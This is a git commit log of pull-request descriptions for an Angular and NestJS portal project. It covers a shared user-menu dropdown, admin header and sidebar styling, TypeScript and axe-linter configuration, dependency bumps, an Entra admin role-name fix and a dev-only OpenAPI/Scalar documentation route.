2026-05-15 15:42:52 +02:00
julien a8ead65ea8 feat(shared-ui): user menu dropdown + integration on portal-shell + portal-admin (#149)
CI / scan (push) Successful in 2m28s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m16s
CI / a11y (push) Successful in 1m43s
CI / perf (push) Successful in 3m58s
## Summary

PR 1 of 3 from the user-menu / profile / cross-app-link chantier per the agreed staging:

| PR | Périmètre |
| --- | --- |
| **PR 1 (this one)** | Shared `UserMenu` dropdown component + integration on `portal-shell` and `portal-admin`; anonymous Sign-in button moves to `rounded-md`. |
| PR 2 | `/profile` pages on both apps. |
| PR 3 | `/api/me/capabilities` endpoint + real role surfacing on the sidebar widget + cross-app links in the menu (both directions). |

Lands the gitea / github-shaped avatar dropdown so admins and end users get the familiar "Signed in as / Profile / Settings / Sign out" pattern. Future entries (cross-app link, role-based visibility) plug into the same `items` input without touching the shared component.

## What lands

### Shared component — [`libs/shared/ui/src/lib/user-menu/`](libs/shared/ui/src/lib/user-menu/)

```html
<lib-user-menu
  [displayName]="state.user.displayName"
  [username]="state.user.username"
  [initials]="initials()"
  [items]="userMenuItems"
  [signedInAsLabel]="…"
  [signOutLabel]="…"
  [triggerAriaLabel]="…"
  (signOut)="signOut()"
/>
```

- Avatar trigger (initials in a rounded square + chevron-down hint), CDK `cdkMenuTriggerFor` opening the panel in an overlay portal. Same primitives `ThemeSwitcher` and `LocaleSwitcher` already use — keyboard nav, focus management and Escape-to-close come for free.
- Panel layout: "Signed in as" small-caps header → `displayName` → `username` → separator → caller-supplied `items` → separator → dedicated Sign out row at the bottom.
- `UserMenuItem` shape supports `routerLink` (intra-app) **and** `href` (cross-app / external) so PR 3's "Open Portal Admin" entry can land without re-shaping the API.
- Disabled items render as `aria-disabled` rows with a right-aligned badge — same Soon-chip pattern the admin sidebar already uses for not-yet-shipped entries.
- Sign out is **not** an item — it's a hardcoded row that emits a `signOut` output. Avoids special-casing item types and keeps the destructive action visually + structurally distinct.
- Avatar background is driven by `--user-menu-avatar-bg` / `--user-menu-avatar-fg` CSS custom properties so each host header can re-skin without forking the component (portal-admin uses translucent white over the brand-primary-600 header; portal-shell keeps the default brand-primary-500).

### Portal-shell integration — [`apps/portal-shell/src/app/components/header/`](apps/portal-shell/src/app/components/header/)

- Authenticated state in [header.html](apps/portal-shell/src/app/components/header/header.html) swaps the inline avatar + display name + Sign-out button for `<lib-user-menu>`.
- Anonymous Sign-in button moves from `rounded-full` → `rounded-md` per the reference image. Loading + error chips follow for visual consistency with the new square-ish avatar.
- 6 new strings in [`messages.fr.xlf`](apps/portal-shell/src/locale/messages.fr.xlf): `header.userMenu.{profile,settings,signedInAs,signOut,trigger.aria}` + `common.badge.soon`.

### Portal-admin integration — [`apps/portal-admin/src/app/components/header/`](apps/portal-admin/src/app/components/header/)

- Same swap, leaner: the admin header keeps its inline `.btn--primary` / `.btn--secondary` for anonymous + error states (no search bar / notification cluster, per ADR-0020), only the authenticated state goes through the menu.
- Overrides `--user-menu-avatar-bg` / `--user-menu-avatar-fg` in [`header.scss`](apps/portal-admin/src/app/components/header/header.scss) under `.auth-widget lib-user-menu` so the avatar reads on the brand-primary-600 background. No FR labels (no admin locale in v1 per ADR-0020).

## Notes for the reviewer

- **Why `Sign out` outside the `items` array?** It's the only destructive action in the panel + always present + emits an event rather than navigates. Keeping it special-cased lets the `items` API stay tight (`{ label, icon?, routerLink? | href?, disabled?, badge? }`) and gives each app a single typed entry point (`signOut` output) rather than a brittle `items[].action === 'sign-out'` discriminator.
- **Why `data-testid="user-menu"` on the component host?** The shared spec already covers panel internals; each app's spec needs a top-level handle to reach the trigger without coupling to the avatar CSS class. Same pattern as the existing `data-testid="sign-in-button"`.
- **Profile entry points at `/profile` on both apps in this PR.** Portal-shell already has a demo `/profile` route, so the link works; portal-admin will 404 until PR 2 lands the actual page. Interim cost is acceptable given PR 2 lands directly behind this.
- **No ADR for the component.** It's a UI primitive in `libs/shared/ui` — same tier as `Icon`. Promotion criteria, dark-mode, a11y, and i18n all follow the existing ADRs already in force (ADR-0004 + 0016 + 0019).

## Test plan

- [x] `pnpm nx test shared-ui` — **8 specs pass** (was 3, +5 for `UserMenu`).
- [x] `pnpm nx test portal-shell` — **35 specs pass** (was 34, +1 for the new "opens menu" assertion).
- [x] `pnpm nx test portal-admin` — **46 specs pass** (was 45, +1 for the new "opens menu" assertion).
- [x] `pnpm nx run-many -t lint test build --projects=portal-shell,portal-admin,shared-ui,shared-state,feature-auth` — 15/15 tasks green, including the i18n-strict `portal-shell:build:production`.
- [ ] Manual smoke — sign in on portal-shell, confirm the avatar lives at the top right with the dropdown opening on click / Enter / ArrowDown, Profile navigates to `/profile`, Settings appears greyed with a "Soon" badge, Sign out triggers the BFF logout. Repeat on portal-admin (the avatar background should pick the translucent-white override over the brand-primary-600 header).

## What's next

PR 2 picks up directly: builds a real `/profile` page on each app, both reading from `feature-auth`'s `currentUser()` signal.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #149
2026-05-15 15:23:39 +02:00
julien e3e7800ecb feat(portal-admin): header brand logo + sidebar background covers full column (#148)
CI / scan (push) Successful in 2m0s
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m35s
CI / a11y (push) Successful in 2m4s
CI / perf (push) Successful in 3m44s
## Summary

Two small portal-admin polish items so the admin shell stops looking like a scaffold:

1. **APF mark in the header**, before the `APF Portal` wordmark — same lock-up portal-shell already ships.
2. **Sidebar gray background + right border now cover the entire column**, not just the rail of nav links.

## What lands

### Header — brand logo

[`apps/portal-admin/src/app/components/header/header.html`](apps/portal-admin/src/app/components/header/header.html) — `<img>` slipped in before the wordmark inside the `.brand` flex row:

```html
<img src="logos/apf-logo.svg" alt="" aria-hidden="true" width="28" height="28" class="brand-logo" />
```

The image is **decorative**: `alt=""` + `aria-hidden="true"`. The accessible name of the brand link is already carried by `APF Portal` + the `Admin` badge — adding a non-empty `alt` here would just produce noise for screen-reader users (WCAG 1.1.1 / Decorative images).

Sized at 28×28 (1.75rem) to keep the lock-up proportionate to the admin header's compact 3.5rem height — portal-shell uses 36×36 in a 4rem header. The new `.brand-logo` SCSS rule pins `display: block; flex-shrink: 0; height/width: 1.75rem` so the SVG can't be squashed by other header content.

### Sidebar — full-column chrome

[`apps/portal-admin/src/app/components/sidebar/sidebar.scss`](apps/portal-admin/src/app/components/sidebar/sidebar.scss) — the gray background and right border move from the inner `<nav class="admin-sidebar">` to `:host` (i.e. the `<app-admin-sidebar>` element itself). Result: the chrome covers the whole flex column, not just the area the link list occupies.

Three things had to move together for the visual to land:

- **`background-color` + `border-right`** — what the user asked for.
- **`width: 16rem` + `flex: 0 0 16rem`** — the host is the direct flex child of `.shell-body`; sizing must live on the flex item, not on a grandchild.
- **`display: flex; flex-direction: column`** — Angular custom elements default to `display: inline`. Without an explicit display, background and border don't render on the host, regardless of the parent's `align-items: stretch`.

The inner `<nav>` now keeps just its content concerns: `padding` for the list breathing room, `overflow-y: auto` for the scroll, and `flex: 1 1 auto` so it grows to fill the host envelope.

Dark-mode variants follow the same move — `:host-context(.dark)` swaps the host's background + border-color directly.

### Assets

`apps/portal-admin/public/logos/{apf-logo.svg, apf-portal.svg}` mirror the portal-shell `public/logos/` layout; Angular's build pipeline picks them up at `/logos/*` per the standard static-asset convention.

## Test plan

- [x] `pnpm nx test portal-admin` — **45 specs pass**, unchanged. Header spec asserts on `.brand-wordmark` + `.brand-badge` (untouched); sidebar spec asserts on the `<nav>` landmark + RouterLinks (also untouched).
- [x] `pnpm nx lint portal-admin` — clean.
- [x] `pnpm nx build portal-admin` — clean; lazy chunks unchanged (`audit` 4.35 KB gzip, `users` 3.76 KB gzip).
- [ ] Visual smoke in dev — sign in, confirm the APF mark renders to the left of the wordmark, then navigate to `/audit` and `/users` and confirm the gray background + right border extend the full height of the sidebar column.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #148
2026-05-15 13:59:16 +02:00
julien 6120471b66 chore(workspace): tsconfig composite refs + axe-linter false-positive config (#147)
CI / scan (push) Successful in 2m0s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m41s
CI / a11y (push) Successful in 1m10s
CI / perf (push) Successful in 3m10s
## Summary

Three editor-noise sources flagged by the VS Code TypeScript service + the Deque axe Linter extension, each tamed at the right layer. No runtime behaviour change.

| Source | Fix |
| --- | --- |
| **TS6306** — Referenced project `libs/{shared/ui,shared/state,feature/auth}` must have `composite: true`. Nx 22's lib generator doesn't emit `composite`; modern VS Code TS service flags it. | Add `composite: true` to each lib's `tsconfig.lib.json`, let `nx sync` redirect consumer references in `apps/portal-{shell,admin}/tsconfig.app.json` to point at the `.lib.json` directly. |
| **TS6504** — `moduleResolution: "node"` / `"node10"` deprecated, removed in TS 7.0. Two hits on the BFF tsconfigs. | Add `ignoreDeprecations: "5.0"` on `apps/portal-bff/tsconfig.{app,spec}.json` — the opt-out knob the diagnostic itself suggests. A proper migration to `nodenext`/`node16` is a separate chantier. |
| **axe-core/list (WCAG 1.3.1)** — `<ul>` "must only directly contain `<li>`, `<script>`, or `<template>`" — fires on Angular 17+ `@for` blocks inside lists. Pure static-linter limitation; rendered DOM is fine. | New `.axe-linter.yml` at repo root: `global-disable: [list]`. |

## What lands

### `composite: true` on lib `.lib.json`

[`libs/shared/ui/tsconfig.lib.json`](libs/shared/ui/tsconfig.lib.json), [`libs/shared/state/tsconfig.lib.json`](libs/shared/state/tsconfig.lib.json), [`libs/feature/auth/tsconfig.lib.json`](libs/feature/auth/tsconfig.lib.json) get `composite: true` added. `nx sync` then automatically rewrites consumer references:

```diff
- "path": "../../libs/shared/ui"
+ "path": "../../libs/shared/ui/tsconfig.lib.json"
```

in [`apps/portal-shell/tsconfig.app.json`](apps/portal-shell/tsconfig.app.json) and [`apps/portal-admin/tsconfig.app.json`](apps/portal-admin/tsconfig.app.json). Semantically cleaner — the app references the lib's actual compile config (which produces the `.d.ts` it consumes), not the lib's solution-style root tsconfig.

**Earlier attempt — composite on the solution `tsconfig.json` — silently broke `vitest`**: the Angular Vite plugin chokes on a composite project with `files: []` / `include: []` and falls through, leaving spec files loaded but tests not registered (`"No test suite found in file"`). Moving `composite` to `.lib.json` (the project that actually has inputs) fixes the contract without poking the plugin.

### `ignoreDeprecations: "5.0"`

[`apps/portal-bff/tsconfig.app.json`](apps/portal-bff/tsconfig.app.json) and [`apps/portal-bff/tsconfig.spec.json`](apps/portal-bff/tsconfig.spec.json) — silences `Option 'moduleResolution=node10' is deprecated and will stop functioning in TypeScript 7.0`. The diagnostic suggests `"6.0"` as the value, but TS 5.9 (our pinned version) only accepts `"5.0"`; using `"6.0"` results in `TS5103: Invalid value for '--ignoreDeprecations'` and breaks every spec. `"5.0"` is the current-gen accepted value.

The deprecation is real — TS 7.0 will drop both `"node"` and `"node10"` `moduleResolution` modes. The migration target is `moduleResolution: "nodenext"` paired with matching `module: "nodenext"`, but that interacts non-trivially with Nest's CommonJS pipeline and the BFF's import semantics. Out of scope for a drive-by fix; we'll handle it as a dedicated chantier when TS 7.0 lands on the roadmap.

### `.axe-linter.yml`

New file at repo root:

```yaml
global-disable:
  - list
```

The Deque axe Linter VS Code extension reads `.axe-linter.yml` at workspace root. The `list` rule (WCAG 1.3.1) fires false positives on Angular 17+ control-flow syntax — `@for (item of list; ...) { <li>… }` looks like a non-`<li>` child of `<ul>` to a static HTML scanner. The Angular compiler erases those tokens at build time; the rendered DOM is compliant. CI accessibility coverage is provided by `axe-playwright` per [ADR-0016 §"Tooling"](docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md) — it runs against the rendered DOM and is unaffected by this disable.

## Notes for the reviewer

- **Why not `composite: true` on every lib?** Per CLAUDE.md "no premature abstractions" — `libs/shared/{tokens,util}` are not currently referenced by any `tsconfig.app.json`, so they don't trigger TS6306. Adding `composite` to them would be future-proofing without a current consumer. When a consumer reference is added, the same one-line fix lands then.
- **Why not migrate `moduleResolution` properly?** The BFF runs on Nest's CommonJS pipeline; `nodenext` brings stricter ESM resolution (`.js` extensions in imports, package `exports` map enforcement) that ripples through. Not a 5-minute change. The `ignoreDeprecations` knob is the textbook defer mechanism for exactly this case.
- **Why disable `list` globally rather than per-file?** The rule's false-positive pattern (`<ul><@for>` / `<ol><@for>`) applies workspace-wide; we use `@for` consistently across `portal-shell` + `portal-admin`. Per-file disables would multiply as new templates land. axe-playwright remains the authoritative check on the rule.

## Test plan

- [x] `pnpm nx run-many -t lint test build --projects=portal-shell,portal-admin,portal-bff,shared-ui,shared-state,feature-auth` — 18/18 tasks pass. **517 specs green** across the affected projects.
- [x] `pnpm nx sync:check` — workspace in sync after the changes; running `sync` again is a no-op.
- [ ] Editor smoke — reopen the workspace in VS Code: the TS6306 errors on lib `tsconfig.json` files should be gone, the two `moduleResolution=node10` deprecation lines on BFF tsconfigs should be silenced, and the `list` rule under `sidebar.html` (`portal-admin`) should no longer surface.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #147
2026-05-15 12:25:20 +02:00
APF Portal Bot 636a1661f5 chore(deps): update typescript tooling to v8.59.3 (#146)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m37s
CI / a11y (push) Successful in 3m18s
CI / check (push) Successful in 6m12s
CI / perf (push) Successful in 6m25s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@typescript-eslint/utils](https://typescript-eslint.io/packages/utils) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/utils)) | devDependencies | patch | [`8.59.2` -> `8.59.3`](https://renovatebot.com/diffs/npm/@typescript-eslint%2futils/8.59.2/8.59.3) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | devDependencies | patch | [`8.59.2` -> `8.59.3`](https://renovatebot.com/diffs/npm/typescript-eslint/8.59.2/8.59.3) |

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint (@&#8203;typescript-eslint/utils)</summary>

### [`v8.59.3`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/utils/CHANGELOG.md#8593-2026-05-11)

[Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.2...v8.59.3)

This was a version bump only for utils to align it with other projects, there were no code changes.

See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.3) for more information.

You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.59.3`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8593-2026-05-11)

[Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.2...v8.59.3)

This was a version bump only for typescript-eslint to align it with other projects, there were no code changes.

See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.3) for more information.

You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #146
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-15 11:26:25 +02:00
julien 2480d0dd6d fix(portal-bff): align admin entra role name with Portal.Admin (#145)
CI / check (push) Successful in 2m47s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m47s
CI / a11y (push) Successful in 1m30s
CI / perf (push) Successful in 3m57s
## Summary

The [`AdminRoleGuard`](apps/portal-bff/src/admin/admin-role.guard.ts) was matching on the literal `'admin'`, but the Entra app registration declares the admin app role with `value: "Portal.Admin"`. End result: an authenticated user with the role assigned in Entra still landed with `roles: []` in their session (claim simply not present in the id token), and every request to `/api/admin/audit` and `/api/admin/users` returned a **403**.

Caught manually in the portal-admin SPA: login succeeded, sidebar links to "Audit log" / "User list" returned 403. The [`/api/admin/auth/me`](apps/portal-bff/src/admin/admin-auth.controller.ts) self-test confirmed the missing claim was the cause.

## What lands

### Constant value — single source of truth

[`apps/portal-bff/src/admin/admin-role.guard.ts:18`](apps/portal-bff/src/admin/admin-role.guard.ts#L18):

```diff
-export const ADMIN_ROLE = 'admin';
+export const ADMIN_ROLE = 'Portal.Admin';
```

[`admin-role.guard.spec.ts`](apps/portal-bff/src/admin/admin-role.guard.spec.ts) already imports `ADMIN_ROLE` from the source rather than hardcoding the literal, so the guard contract spec rolls through unchanged. The fixtures elsewhere ([`auth.service.spec.ts`](apps/portal-bff/src/auth/auth.service.spec.ts), [`admin.controller.spec.ts`](apps/portal-bff/src/admin/admin.controller.spec.ts), [`admin-auth.controller.spec.ts`](apps/portal-bff/src/admin/admin-auth.controller.spec.ts), [`require-mfa.guard.spec.ts`](apps/portal-bff/src/auth/require-mfa.guard.spec.ts)) keep `roles: ['admin']` as fixture data — those tests exercise the extraction / serialization pipeline, which is role-value-agnostic; touching them would be incidental cleanup with no behaviour signal.

### Doc-comment refresh

Inline references to the role name updated so future readers don't grep `'admin'` and find a phantom value:

- [`admin-role.guard.ts`](apps/portal-bff/src/admin/admin-role.guard.ts) — class doc-block (3 mentions).
- [`admin.controller.ts`](apps/portal-bff/src/admin/admin.controller.ts) — class doc-block + inline guard-contract comment.
- [`audit.service.ts`](apps/portal-bff/src/audit/audit.service.ts) — `adminAccessDenied` doc-block (2 mentions).

### Documentation

- [`docs/decisions/0020-portal-admin-app.md`](docs/decisions/0020-portal-admin-app.md) — 5 references to the role across §"How is admin access enforced", §"Auth — same Entra ID …", and the Consequences §.
- [`docs/architecture.md`](docs/architecture.md) — note next to the C4 container diagram describing the admin entry gate.
- [`CLAUDE.md`](CLAUDE.md) — "Admin application" project rule.

## Notes for the reviewer

- **Why `Portal.Admin` rather than `admin`?** Operator's call on the Entra side. The `<Application>.<Role>` namespace is the conventional Entra App Role pattern when the directory may host roles for multiple applications, and `admin` alone is ambiguous in a directory shared across products.
- **Why no migration / backfill?** The role value lives only in two places: Entra app-registration manifest (operator-managed) and the BFF constant (this PR). Existing Redis sessions captured `roles: []` (claim absent) — they'll naturally pick up the correct value on next sign-in. No persisted data references the old value.
- **No ADR.** ADR-0020 §"How is admin access enforced" already commits to "Entra ID role claim + BFF guard"; the literal role string is an implementation detail the ADR happened to spell. Updated the ADR's prose to the new value to keep the doc honest, but the decision is unchanged.

## Test plan

- [x] `pnpm nx test portal-bff` — **396 specs pass**, unchanged from `main`. The `AdminRoleGuard` contract spec (covers 401-on-no-session, 403-on-missing-role + audit emission, pass-through-on-role-present) imports `ADMIN_ROLE` and re-exercises with the new value.
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [ ] Manual verification — pending Entra-side App Role declaration with `value: "Portal.Admin"` + assignment to the test user. Once both exist: sign out + sign in on portal-admin, hit `/api/admin/auth/me` and confirm `roles: ["Portal.Admin"]`, then click "Audit log" + "User list" and confirm both render. An `admin.access_denied` row in `audit.events` is the negative-test signal (still emitted for any user without the role).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #145
2026-05-15 10:33:54 +02:00
APF Portal Bot 0335d992d9 chore(deps): update dependency vite to v8.0.13 (#144)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m51s
CI / a11y (push) Successful in 3m34s
CI / check (push) Successful in 6m43s
CI / perf (push) Successful in 6m52s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | devDependencies | patch | [`8.0.12` -> `8.0.13`](https://renovatebot.com/diffs/npm/vite/8.0.12/8.0.13) |

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

### [`v8.0.13`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8013-2026-05-14-small)

[Compare Source](https://github.com/vitejs/vite/compare/v8.0.12...v8.0.13)

##### Features

- **bundled-dev:** add lazy bundling support ([#&#8203;21406](https://github.com/vitejs/vite/issues/21406)) ([4f0949f](https://github.com/vitejs/vite/commit/4f0949f3f13e4b2b34d32bf7b2b4de5f26bea192))
- **optimizer:** improve the esbuild plugin converter to pass some properties of build result to `onEnd` ([#&#8203;22357](https://github.com/vitejs/vite/issues/22357)) ([47071ce](https://github.com/vitejs/vite/commit/47071ce53f21726cf39e999c4407c4828ecbe957))
- update rolldown to 1.0.1 ([#&#8203;22444](https://github.com/vitejs/vite/issues/22444)) ([8c766a6](https://github.com/vitejs/vite/commit/8c766a6c5ee014969c4e32f29cc265e8e2c96e18))

##### Bug Fixes

- **build:** copy public directory after building same environment with `write=false` ([#&#8203;22328](https://github.com/vitejs/vite/issues/22328)) ([158e8ae](https://github.com/vitejs/vite/commit/158e8ae8efdf7075ab295727e36b5ff68da3243e))
- **css:** await sass/less/styl worker disposal on teardown (fix [#&#8203;22274](https://github.com/vitejs/vite/issues/22274)) ([#&#8203;22275](https://github.com/vitejs/vite/issues/22275)) ([b7edcb7](https://github.com/vitejs/vite/commit/b7edcb7d0dd17ddfeef4ace78d610c099216dade))
- **css:** keep deprecated `name`/`originalFileName` in synthetic `assetFileNames` call ([#&#8203;22439](https://github.com/vitejs/vite/issues/22439)) ([8e59c97](https://github.com/vitejs/vite/commit/8e59c97a44d923c4c06f67287a793c9aa5a4ebaa))
- make `isBundled` per environment ([#&#8203;22257](https://github.com/vitejs/vite/issues/22257)) ([a576326](https://github.com/vitejs/vite/commit/a5763266170f8606836da5c6f987b4b2fd6ddc55))
- **ssr:** avoid rewriting labels that collide with imports ([#&#8203;22451](https://github.com/vitejs/vite/issues/22451)) ([d9b18e0](https://github.com/vitejs/vite/commit/d9b18e0387a253628d3d834288e79c5f7e85d566))

##### Miscellaneous Chores

- remove irrelevant commits from changelog ([#&#8203;22430](https://github.com/vitejs/vite/issues/22430)) ([6ea3838](https://github.com/vitejs/vite/commit/6ea383859aaf0ef8e673b458f164e84aeb6ff51d))
- update changelog ([#&#8203;22413](https://github.com/vitejs/vite/issues/22413)) ([fcdc87c](https://github.com/vitejs/vite/commit/fcdc87cc6799857e2bab0f44f333a681694fff74))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/144
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-15 09:58:51 +02:00
julien 1513ad327c feat(portal-bff): openapi spec + scalar api reference UI (dev-only) (#143)
CI / scan (push) Successful in 2m5s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m33s
CI / a11y (push) Successful in 1m22s
CI / perf (push) Successful in 3m34s
## Summary

Adds an OpenAPI 3 spec + a [Scalar API Reference](https://scalar.com/) UI to `portal-bff`, dev-only. The BFF previously had no way to *see* its HTTP surface short of grepping for `@Get` / `@Post`; this PR generates the spec from the existing Nest controllers via [`@nestjs/swagger`](https://docs.nestjs.com/openapi/introduction) and renders it through Scalar — a modern alternative to the classic Swagger UI (single-page, fast, dark-mode native, better typography).

## What lands

### Two new dev-only routes

| Route | What it serves |
| --- | --- |
| `GET /api/openapi.json` | Raw OpenAPI 3 document. External tools (Bruno / Insomnia / Postman) import from here. |
| `GET /api/docs` | Scalar API Reference HTML page. Loads the JSON spec at render time and renders the full endpoint catalogue with a "Try it" panel. |

Both routes are gated behind `process.env.NODE_ENV !== 'production'` in [`setupOpenApi`](apps/portal-bff/src/openapi/openapi.ts) — production deployments don't need the docs surface, and publishing it would hand an attacker a curated map of every authenticated endpoint + every DTO shape. If a future ops use-case wants the spec in prod (internal gateway, contract testing), the gate is one line away from an opt-in `OPENAPI_PUBLISH=true` env knob.

### Core implementation — [`apps/portal-bff/src/openapi/openapi.ts`](apps/portal-bff/src/openapi/openapi.ts)

Two exported helpers:

- **`buildOpenApiDocument(app)`** — wraps Nest's `DocumentBuilder` + `SwaggerModule.createDocument`. Sets title, description (mentions the CSRF caveat — see below), version, and registers **two** cookie security schemes:
  - `portal_session` for the user-portal surface ([ADR-0009](docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md)).
  - `portal_admin_session` for the admin-portal surface ([ADR-0020](docs/decisions/0020-portal-admin-app.md)).
  No `@ApiBearerAuth` is declared — the BFF never exposes a bearer-auth surface (SPA never holds tokens per ADR-0009; downstream OBO tokens are server-side only per ADR-0014).

- **`setupOpenApi(app, globalPrefix)`** — short-circuits in production, otherwise binds the two routes via the Express adapter directly (`app.getHttpAdapter().get(...)` and `app.use(...)`). The OpenAPI JSON is a static asset and Scalar is a vanilla Express middleware — wrapping either in a Nest controller would add zero value and an extra layer of indirection.

Wired into bootstrap at [`apps/portal-bff/src/main.ts:220`](apps/portal-bff/src/main.ts#L220), immediately after the JWKS endpoint mount and before `app.listen()`.

### Controllers decorated with `@ApiTags` / `@ApiOperation` / `@ApiCookieAuth`

Annotations are cosmetic but make the spec actually browsable. Tag taxonomy:

| Controller | Tag | Security |
| --- | --- | --- |
| [`AppController`](apps/portal-bff/src/app/app.controller.ts) | `app (scaffolding)` | — |
| [`HealthController`](apps/portal-bff/src/health/health.controller.ts) | `health` | — |
| [`AuthController`](apps/portal-bff/src/auth/auth.controller.ts) | `auth (user portal)` | `portal_session` on `/me` + `/logout` |
| [`AdminAuthController`](apps/portal-bff/src/admin/admin-auth.controller.ts) | `auth (admin portal)` | `portal_admin_session` on `/me` + `/logout` |
| [`AdminController`](apps/portal-bff/src/admin/admin.controller.ts) | `admin (self-test)` | class-level `portal_admin_session` |
| [`AdminAuditController`](apps/portal-bff/src/admin/admin-audit.controller.ts) | `admin (audit log)` | class-level `portal_admin_session` |
| [`AdminUsersController`](apps/portal-bff/src/admin/admin-users.controller.ts) | `admin (user directory)` | class-level `portal_admin_session` |

`@ApiOperation({ summary: … })` added on every route — populates the one-line description Scalar shows in its left-rail TOC.

### Deps + Jest

- `@nestjs/swagger ^11` (matches the Nest 11 major already pinned) and `@scalar/nestjs-api-reference` added to the workspace root.
- [`jest.config.cts`](apps/portal-bff/jest.config.cts) — widened `transformIgnorePatterns` from `/node_modules/(?!.*jose)/` to `/node_modules/(?!.*(jose|@scalar/))/`. `@scalar/client-side-rendering` (a transitive dep) ships ESM-only; without this widening the spec suite fails to load the module under ts-jest.

## Notes for the reviewer

- **Why two cookie schemes rather than one?** Scalar renders a per-endpoint lock icon driven by the security scheme name. Splitting `portal_session` / `portal_admin_session` keeps the indicator semantically truthful — `/api/auth/me` and `/api/admin/auth/me` look identical otherwise.
- **CSRF caveat.** Mutating routes (`POST` / `PUT` / `PATCH` / `DELETE`) require `X-CSRF-Token` per [ADR-0009](docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md). The header must be set manually in Scalar's "Try it" panel to the value of the `portal_csrf` cookie when exercising those routes. The spec description mentions it; auto-injecting the header from the cookie is a future polish.
- **No ADR for this.** `@nestjs/swagger` is the framework's own first-party tooling; Scalar is a thin UI on top of a standard OpenAPI 3 document. Both replaceable without touching the controllers (the `@Api*` annotations are spec-standard). Dev-only, no prod surface — doesn't cross any of the bars that warrant an ADR per [CLAUDE.md](CLAUDE.md).
- **Express-layer routing.** Same pattern as the JWKS endpoint (#139): the OpenAPI JSON is a static asset and Scalar a vanilla Express handler, so wiring through Nest's router adds no value.

## Test plan

- [x] **5 new specs** in [`apps/portal-bff/src/openapi/openapi.spec.ts`](apps/portal-bff/src/openapi/openapi.spec.ts) — document shape (openapi version, title, version), both cookie schemes declared, smoke controller route captured in `paths`, production short-circuit (no routes mounted, no `app.use` called), dev mount (JSON at `/api/openapi.json` via the HTTP adapter, Scalar UI at `/api/docs` via `app.use`).
- [x] `pnpm nx test portal-bff` — **396 specs pass** (was 391).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [x] Manual dev smoke: `pnpm nx serve portal-bff`, `curl /api/openapi.json | jq .info` returns title + version, open `/api/docs` in a browser, every controller's routes visible under their tag, lock icons match the cookie scheme on guarded routes.

## What's next — light follow-ups

Not blocking this PR; mentioned so they're not lost:

- Auto-inject the `X-CSRF-Token` header in Scalar from the `portal_csrf` cookie (custom Scalar config preset).
